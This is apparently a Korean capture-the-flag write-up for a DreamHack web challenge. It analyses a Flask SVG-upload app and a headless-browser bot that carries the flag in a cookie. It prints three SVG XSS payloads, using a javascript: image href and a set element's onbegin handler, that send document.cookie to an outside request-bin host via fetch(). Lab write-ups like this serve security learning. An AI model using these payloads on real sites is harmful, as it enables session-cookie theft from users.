소스분석
흥미롭다
read_file 펑션을 파일을 읽을 때 내부적으로 쿠키에 flag 를 담아 /?file=uploads/{filename} 을 호출한다.
XSS 로 풀면 될 뜻
def read_file(filename):
driver = None
cookie = {"name": "flag", "value": "DH{**flag**}"}
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/usr/local/bin/chromedriver")
options = webdriver.ChromeOptions()
for arg in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(arg)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(f"http://127.0.0.1:8000/?file=uploads/{filename}")
WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.TAG_NAME, "svg")))
except Exception as e:
driver.quit()
return False
driver.quit()
return True
upload 시 xss 구문을 입력한, svg 파일을 호출하면 끝일뜻
@app.route('/')
def index():
file = request.args.get('file', 'uploads/default.svg')
return render_template('index.html', file=file)
// index.html 호출 시 xss 파일 호출하면 될 뜻
@app.route('/uploads/<filename>')
def uploaded_file(filename):
return send_from_directory(app.config['UPLOAD_FOLDER'], filename)
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)
if file:
filename = secure_filename(file.filename)
unique_id = uuid.uuid4().hex
unique_filename = f"{unique_id}_{filename}"
file_path = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)
file.save(file_path)
read_file(unique_filename)
return redirect(url_for('index', file=f'uploads/{unique_filename}'))
return '', 204
index.html 을 보면 main.py 를 호출하여, svg 파일의 animation 을 정의하며,
<body>
<div id="container">
<h1>Randomly Moving SVG Paths</h1>
<div id="upload-section">
<form id="upload-form" method="post" enctype="multipart/form-data" action="/upload" onsubmit="uploadAndReload(event)">
<input type="file" id="file-input" name="file" />
<input type="submit" value="Upload SVG" />
</form>
<div id="original-svg-container">
<div id="original-svg-content"></div>
</div>
</div>
<div id="svg-container"></div>
</div>
<py-script src="{{ url_for('static', filename='main.py') }}"></py-script>
<script>
async function uploadAndReload(event) {
event.preventDefault();
const form = document.getElementById('upload-form');
const formData = new FormData(form);
const response = await fetch('/upload', {
method: 'POST',
body: formData
});
if (response.ok) {
const filename = document.getElementById('file-input').files[0].name;
window.location.href = `/?file=uploads/${filename}`;
} else {
console.error('File upload failed');
}
}
</script>
</body>
Exploit!
허용된 elements 로 XSS 구문 작성 필요
def load_svg_from_string(svg_string):
parser = DOMParser.new()
doc = parser.parseFromString(svg_string, "image/svg+xml")
if doc.documentElement.tagName != "svg" or doc.documentElement.namespaceURI not in ["http://www.w3.org/2000/svg", "x"]:
raise ValueError("Root element is not <svg> or has incorrect namespace")
allowed_elements = [
"svg", "path", "rect", "circle", "ellipse", "line", "polyline", "polygon",
"text", "tspan", "textPath", "altGlyph", "altGlyphDef", "altGlyphItem",
"glyphRef", "altGlyph", "animate", "animateColor", "animateMotion",
"animateTransform", "mpath", "set", "desc", "title", "metadata",
"defs", "g", "symbol", "use", "image", "switch", "style"
]
몇가지 케이스 존재
<svg xmlns="http://www.w3.org/2000/svg">
<image xlink:href="javascript:fetch('https://lhqluqj.request.dreamhack.games?c='+document.cookie)" height="100" width="100"/>
</svg>
<svg xmlns="http://www.w3.org/2000/svg">
<rect width="100" height="100" fill="red">
<set attributeName="x" to="100" begin="0s"
onbegin="fetch('https://lhqluqj.request.dreamhack.games?c='+document.cookie)"/>
</rect>
</svg>
<svg xmlns="http://www.w3.org/2000/svg">
<image x="0" y="0" width="200" height="200"
xlink:href="javascript:fetch('https://lhqluqj.request.dreamhack.games?c='+document.cookie)"/>
</svg>
우선 내 pc 에서 되는지 확인
rect 태그 및 onbegin 이벤트헨들러 사용, 로컬에서 작동 여부 확인 완료
Flag 획득!
아래와 같이 flag 획득!
'Hacking > DreamHack' 카테고리의 다른 글
pharmacy (0) | 2025.05.04 |
---|---|
Period (pwnable) (0) | 2025.04.02 |
Movie time table (WEB) (0) | 2025.04.01 |
r-xor-t (0) | 2024.09.05 |
[CodeEngn] Malware L08 (1) | 2024.09.04 |